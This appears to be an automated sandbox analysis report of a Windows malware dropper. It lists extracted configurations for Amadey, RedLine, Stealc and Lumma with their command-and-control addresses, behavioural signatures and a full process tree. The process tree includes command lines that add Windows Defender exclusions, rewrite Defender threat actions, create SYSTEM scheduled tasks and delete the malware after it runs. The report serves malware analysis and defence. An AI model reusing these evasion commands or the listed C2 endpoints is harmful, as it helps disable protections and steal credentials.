Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-05-2024 02:56

General

  • Target

    cb560c505ccc4c84a4289a5101821494603febad6b1b665ae74fe9d41fee35dc.exe

  • Size

    1.8MB

  • MD5

    a49d4ea8ceef49682b23f1308f5fce4b

  • SHA1

    eed6afea70bb6655a8d1289ad072a186ee3ed1de

  • SHA256

    cb560c505ccc4c84a4289a5101821494603febad6b1b665ae74fe9d41fee35dc

  • SHA512

    1efda3277e81e247645e48cd7cd0537d345cbff187bda289655e60d040d25d529f9f33988d2108321de6b0a387c254b989457a4bf30a1408a3ec162ac6ebdc70

  • SSDEEP

    49152:7zq3BRvku1Oxg5EGYITxx4UiJa4M6QAr85n7/++eQW:7u3vvROu5Jx14cAG/++S

Malware Config

Extracted

Family

amadey

Version

4.21

Botnet

49e482

C2

http://147.45.47.70

Attributes
  • install_dir

    1b29d73536

  • install_file

    axplont.exe

  • strings_key

    4d31dd1a190d9879c21fac6d87dc0043

  • url_paths

    /tr8nomy/index.php

rc4.plain

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:40960

Extracted

Family

redline

Botnet

@LOGSCLOUDYT_BOT

C2

185.172.128.33:8970

Extracted

Family

stealc

Botnet

zzvv

C2

http://23.88.106.134

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

lumma

C2

https://roomabolishsnifftwk.shop/api

https://detailbaconroollyws.shop/api

https://museumtespaceorsp.shop/api

https://horsedwollfedrwos.shop/api

https://buttockdecarderwiso.shop/api

https://patternapplauderw.shop/api

https://averageaattractiionsl.shop/api

https://understanndtytonyguw.shop/api

https://femininiespywageg.shop/api

https://considerrycurrentyws.shop/api

https://employhabragaomlsp.shop/api

https://messtimetabledkolvk.shop/api

https://stalfbaclcalorieeis.shop/api

https://civilianurinedtsraov.shop/api

https://deprivedrinkyfaiir.shop/api

https://relaxtionflouwerwi.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 4 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 6 IoCs
  • Modifies Installed Components in the registry 2 TTPs 6 IoCs
  • Sets service image path in registry 2 TTPs 14 IoCs
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 7 IoCs
  • Executes dropped EXE 25 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 4 IoCs
  • Modifies system executable filetype association 2 TTPs 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Registers COM server for autorun 1 TTPs 3 IoCs
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Unexpected DNS network traffic destination 10 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Windows security modification 2 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks for any installed AV software in registry 1 TTPs 37 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 7 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 33 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Program Files directory 44 IoCs
  • Drops file in Windows directory 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 5 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of FindShellTrayWindow
    PID:3508
    • C:\Users\Admin\AppData\Local\Temp\cb560c505ccc4c84a4289a5101821494603febad6b1b665ae74fe9d41fee35dc.exe
      "C:\Users\Admin\AppData\Local\Temp\cb560c505ccc4c84a4289a5101821494603febad6b1b665ae74fe9d41fee35dc.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1952
      • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
        "C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1392
        • C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
          "C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:5000
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            5⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4208
            • C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
              "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3728
            • C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
              "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4292
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
              6⤵
                PID:5716
                • C:\Windows\SysWOW64\choice.exe
                  choice /C Y /N /D Y /T 3
                  7⤵
                    PID:3328
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 256
                5⤵
                • Program crash
                PID:2492
            • C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
              "C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4328
            • C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
              "C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3160
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                5⤵
                  PID:1828
              • C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
                "C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3260
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  5⤵
                    PID:3360
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 3260 -s 264
                    5⤵
                    • Program crash
                    PID:3672
                • C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:4024
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    5⤵
                    • Checks computer location settings
                    • Checks processor information in registry
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:2248
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & del "C:\ProgramData\*.dll"" & exit
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1548
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 5
                        7⤵
                        • Delays execution with timeout.exe
                        PID:3708
                • C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"
                  4⤵
                  • UAC bypass
                  • Windows security bypass
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Windows security modification
                  • Checks whether UAC is enabled
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • System policy modification
                  PID:3184
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe" -Force
                    5⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2648
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
                    5⤵
                      PID:1556
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                      5⤵
                      • Drops startup file
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5112
                      • C:\Users\Admin\Pictures\jfwLrbtuGmt3WgBnEjEXTdp4.exe
                        "C:\Users\Admin\Pictures\jfwLrbtuGmt3WgBnEjEXTdp4.exe" /s
                        6⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Writes to the Master Boot Record (MBR)
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:4580
                        • C:\Users\Admin\Pictures\360TS_Setup.exe
                          "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
                          7⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          PID:3360
                          • C:\Program Files (x86)\1717037821_0\360TS_Setup.exe
                            "C:\Program Files (x86)\1717037821_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
                            8⤵
                            • Sets service image path in registry
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Checks for any installed AV software in registry
                            • Checks whether UAC is enabled
                            • Checks processor information in registry
                            • Modifies registry class
                            • Modifies system certificate store
                            • Suspicious behavior: LoadsDriver
                            PID:1936
                            • C:\Windows\system32\bcdedit.exe
                              "C:\Windows\system32\bcdedit.exe" /set {bootmgr} flightsigning on
                              9⤵
                              • Modifies boot configuration data using bcdedit
                              PID:4372
                            • C:\Windows\system32\bcdedit.exe
                              "C:\Windows\system32\bcdedit.exe" /set flightsigning on
                              9⤵
                              • Modifies boot configuration data using bcdedit
                              PID:3296
                            • C:\Windows\SysWOW64\regsvr32.exe
                              "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
                              9⤵
                                PID:3776
                                • C:\Windows\system32\regsvr32.exe
                                  /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
                                  10⤵
                                  • Modifies system executable filetype association
                                  • Registers COM server for autorun
                                  • Modifies registry class
                                  PID:4984
                              • C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe
                                "C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe" /flightsigning
                                9⤵
                                  PID:2676
                                • C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe
                                  "C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe" /installsrv
                                  9⤵
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4052
                                • C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
                                  "C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe" /install
                                  9⤵
                                  • Drops file in Drivers directory
                                  • Sets service image path in registry
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of SetWindowsHookEx
                                  PID:3692
                                • C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe
                                  "C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"
                                  9⤵
                                  • Modifies Installed Components in the registry
                                  • Loads dropped DLL
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2508
                                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                                    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe authroots.sst
                                    10⤵
                                    • Executes dropped EXE
                                    • Modifies system certificate store
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5184
                                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                                    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe updroots.sst
                                    10⤵
                                    • Executes dropped EXE
                                    • Modifies system certificate store
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5220
                                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                                    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -l roots.sst
                                    10⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5272
                                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                                    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -d delroots.sst
                                    10⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5316
                          • C:\Users\Admin\Pictures\UBjA5DPMgvprl58O4Rm6wkOw.exe
                            "C:\Users\Admin\Pictures\UBjA5DPMgvprl58O4Rm6wkOw.exe"
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4252
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                              7⤵
                                PID:3768
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                7⤵
                                • Suspicious use of SetThreadContext
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3764
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                  8⤵
                                    PID:3184
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                  7⤵
                                    PID:2212
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                    7⤵
                                    • Checks SCSI registry key(s)
                                    PID:4136
                                • C:\Users\Admin\Pictures\H0UVbMblodCc40gmvFoORgyt.exe
                                  "C:\Users\Admin\Pictures\H0UVbMblodCc40gmvFoORgyt.exe"
                                  6⤵
                                  • Drops startup file
                                  • Executes dropped EXE
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:5024
                                • C:\Users\Admin\Pictures\wD2dhV3FhycNZg6ppID8rOZD.exe
                                  "C:\Users\Admin\Pictures\wD2dhV3FhycNZg6ppID8rOZD.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  PID:5468
                                  • C:\Users\Admin\AppData\Local\Temp\7zSB35D.tmp\Install.exe
                                    .\Install.exe
                                    7⤵
                                    • Executes dropped EXE
                                    PID:5520
                                    • C:\Users\Admin\AppData\Local\Temp\7zSB59F.tmp\Install.exe
                                      .\Install.exe /NQHxdidUQs "385118" /S
                                      8⤵
                                      • Checks BIOS information in registry
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      • Enumerates system info in registry
                                      PID:5556
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                        9⤵
                                          PID:5752
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                            10⤵
                                              PID:5800
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                11⤵
                                                  PID:5816
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                    12⤵
                                                      PID:5832
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                  10⤵
                                                    PID:5848
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                      11⤵
                                                        PID:5864
                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                          12⤵
                                                            PID:5880
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                        10⤵
                                                          PID:5892
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                            11⤵
                                                              PID:5908
                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                12⤵
                                                                  PID:5920
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                              10⤵
                                                                PID:5936
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                  11⤵
                                                                    PID:5952
                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                      12⤵
                                                                        PID:5964
                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                    10⤵
                                                                      PID:5980
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                        11⤵
                                                                          PID:5996
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                            12⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:6012
                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                              13⤵
                                                                                PID:5188
                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                        9⤵
                                                                          PID:5300
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                            10⤵
                                                                              PID:5372
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                11⤵
                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:2508
                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                  12⤵
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:5484
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 02:58:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSB59F.tmp\Install.exe\" 1g /fJvdidJshn 385118 /S" /V1 /F
                                                                            9⤵
                                                                            • Drops file in Windows directory
                                                                            • Creates scheduled task(s)
                                                                            PID:5680
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"
                                                                            9⤵
                                                                              PID:5804
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C schtasks /run /I /tn bqGGCwwWIommTRgeuN
                                                                                10⤵
                                                                                  PID:5848
                                                                                  • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                    schtasks /run /I /tn bqGGCwwWIommTRgeuN
                                                                                    11⤵
                                                                                      PID:5916
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5556 -s 1056
                                                                                  9⤵
                                                                                  • Program crash
                                                                                  PID:2172
                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                                          5⤵
                                                                            PID:208
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5000 -ip 5000
                                                                    1⤵
                                                                      PID:1744
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3260 -ip 3260
                                                                      1⤵
                                                                        PID:4296
                                                                      • C:\Windows\system32\WerFault.exe
                                                                        C:\Windows\system32\WerFault.exe -pss -s 468 -p 3184 -ip 3184
                                                                        1⤵
                                                                          PID:2248
                                                                        • C:\Windows\System32\sihclient.exe
                                                                          C:\Windows\System32\sihclient.exe /cv MbyfG1aUrky1RXM+asfYGQ.0.2
                                                                          1⤵
                                                                            PID:1548
                                                                          • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                            1⤵
                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                            • Checks BIOS information in registry
                                                                            • Executes dropped EXE
                                                                            • Identifies Wine through registry keys
                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:4988
                                                                          • C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe
                                                                            "C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe"
                                                                            1⤵
                                                                              PID:516
                                                                              • C:\Program Files (x86)\360\Total Security\SoftMgr\EaInstHelper64.exe
                                                                                "C:\Program Files (x86)\360\Total Security\SoftMgr\EaInstHelper64.exe" /Install_run
                                                                                2⤵
                                                                                • Drops file in Drivers directory
                                                                                • Sets service image path in registry
                                                                                • Drops file in Windows directory
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                PID:1720
                                                                            • C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
                                                                              "C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"
                                                                              1⤵
